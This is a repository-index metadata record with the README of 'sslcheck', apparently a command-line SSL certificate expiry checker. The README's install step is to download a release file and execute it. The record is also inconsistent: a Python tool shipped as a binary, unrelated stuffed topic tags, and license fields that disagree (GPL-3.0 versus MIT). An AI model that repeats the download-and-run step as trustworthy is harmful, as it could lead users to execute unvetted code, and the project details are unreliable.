{"id":29403553,"url":"https://github.com/redaghafir/sslcheck","last_synced_at":"2025-08-03T15:32:51.807Z","repository":{"id":303057494,"uuid":"1014189693","full_name":"Redaghafir/sslcheck","owner":"Redaghafir","description":"Monitor SSL certificate expiration easily with sslcheck. This simple command-line tool offers concurrent checks and colorful output. Perfect for multiple domains! 🚀💻","archived":false,"fork":false,"pushed_at":"2025-07-05T11:37:48.000Z","size":22,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-05T12:36:49.868Z","etag":null,"topics":["aceh","android","api","azure","devops","devops-tools","devsecops","javascript","json","nodejs","pentest-tool","php","ssl-certificates","ssl-expiry","sslcheck-api","sslllabs","titanium-mobile","tls"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Redaghafir.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-05T08:15:58.000Z","updated_at":"2025-07-05T11:37:51.000Z","dependencies_parsed_at":"2025-07-05T12:39:07.892Z","dependency_job_id":"8e765802-d03e-4423-a959-8d67ae947720","html_url":"https://github.com/Redaghafir/sslcheck","commit_stats":null,"previous_names":["redaghafir/sslcheck"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Redaghafir/sslcheck","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Redaghafir%2Fsslcheck","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Redaghafir%2Fsslcheck/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Redaghafir%2Fsslcheck/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Redaghafir%2Fsslcheck/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Redaghafir","download_url":"https://codeload.github.com/Redaghafir/sslcheck/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Redaghafir%2Fsslcheck/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264637857,"owners_count":23642062,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aceh","android","api","azure","devops","devops-tools","devsecops","javascript","json","nodejs","pentest-tool","php","ssl-certificates","ssl-expiry","sslcheck-api","sslllabs","titanium-mobile","tls"],"created_at":"2025-07-10T19:00:40.490Z","updated_at":"2025-07-10T19:02:28.146Z","avatar_url":"https://github.com/Redaghafir.png","language":"Python","readme":"# SSLCheck: Monitor SSL Certificate Expiration Easily 🔒🌐\n\n![SSLCheck](https://img.shields.io/badge/SSLCheck-CLI-blue?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.8%2B-yellowgreen?style=flat-square) ![DevOps](https://img.shields.io/badge/DevOps-Tools-orange?style=flat-square) \n\n## Table of Contents\n\n- [Overview](#overview)\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Configuration](#configuration)\n- [Command-Line Options](#command-line-options)\n- [Examples](#examples)\n- [Monitoring](#monitoring)\n- [Contributing](#contributing)\n- [License](#license)\n- [Links](#links)\n\n## Overview\n\nSSLCheck is a command-line tool designed to check and monitor SSL certificate expiration across multiple domains. It provides a straightforward way to ensure your websites maintain secure connections by alerting you before certificates expire.\n\n## Features\n\n- **Multi-Domain Support**: Check SSL certificates for multiple domains at once.\n- **Expiration Alerts**: Get notified when certificates are about to expire.\n- **Easy to Use**: Simple command-line interface for quick checks.\n- **Python-Based**: Built with Python, making it easy to extend and customize.\n- **DevOps Friendly**: Integrates well into CI/CD pipelines and automation scripts.\n\n## Installation\n\nTo install SSLCheck, you can download the latest release from the [Releases section](https://github.com/Redaghafir/sslcheck/releases). Once downloaded, execute the file to install the tool.\n\n```bash\n# Example command to execute after downloading\nchmod +x sslcheck\n./sslcheck\n```\n\n## Usage\n\nAfter installation, you can use SSLCheck directly from your command line. The basic command structure is as follows:\n\n```bash\nsslcheck [options] [domain1 domain2 ...]\n```\n\n## Configuration\n\nSSLCheck allows you to configure certain parameters to tailor its functionality to your needs. You can set default domains and alert thresholds through a configuration file or command-line options.\n\n### Configuration File\n\nCreate a configuration file named `sslcheck.conf` in your home directory. This file can include default domains and notification settings.\n\nExample `sslcheck.conf`:\n\n```ini\n[DEFAULT]\ndomains = example.com, example.org\nalert_days = 30\n```\n\n## Command-Line Options\n\nSSLCheck comes with several command-line options to enhance its usability:\n\n- `-h`, `--help`: Show help message and exit.\n- `-c`, `--config`: Specify a custom configuration file.\n- `-d`, `--domains`: List of domains to check.\n- `-a`, `--alert`: Set the number of days before expiration to alert.\n\n## Examples\n\nHere are some examples of how to use SSLCheck effectively.\n\n### Check a Single Domain\n\nTo check a single domain, run:\n\n```bash\nsslcheck -d example.com\n```\n\n### Check Multiple Domains\n\nTo check multiple domains, use:\n\n```bash\nsslcheck -d example.com example.org\n```\n\n### Use Configuration File\n\nIf you have set up a configuration file, simply run:\n\n```bash\nsslcheck\n```\n\nThis will use the domains specified in the `sslcheck.conf`.\n\n## Monitoring\n\nFor ongoing monitoring, consider integrating SSLCheck into a cron job. This way, you can regularly check your domains without manual intervention.\n\n### Example Cron Job\n\nTo set up a cron job that runs SSLCheck daily at 2 AM, you can add the following line to your crontab:\n\n```bash\n0 2 * * * /path/to/sslcheck -d example.com \u003e\u003e /var/log/sslcheck.log\n```\n\n## Contributing\n\nContributions are welcome! If you want to improve SSLCheck, please fork the repository and submit a pull request. Here are some ways you can contribute:\n\n- Report bugs or issues.\n- Suggest new features.\n- Improve documentation.\n- Write tests.\n\n## License\n\nSSLCheck is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.\n\n## Links\n\nFor more information, visit the [Releases section](https://github.com/Redaghafir/sslcheck/releases) to download the latest version of SSLCheck. This tool is designed to help you maintain the security of your domains effortlessly. \n\nYou can also check out the source code and contribute on [GitHub](https://github.com/Redaghafir/sslcheck). \n\n### Additional Resources\n\n- [Python Documentation](https://docs.python.org/3/)\n- [DevOps Tools](https://www.devops.com/)\n- [SSL Certificate Best Practices](https://www.ssl.com/article/ssl-certificate-best-practices/)\n\n![SSL Certificate](https://www.ssl.com/wp-content/uploads/2020/03/ssl-certificate.png)\n\nSSLCheck aims to simplify the process of managing SSL certificates, ensuring that your online presence remains secure and reliable.","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fredaghafir%2Fsslcheck","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fredaghafir%2Fsslcheck","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fredaghafir%2Fsslcheck/lists"}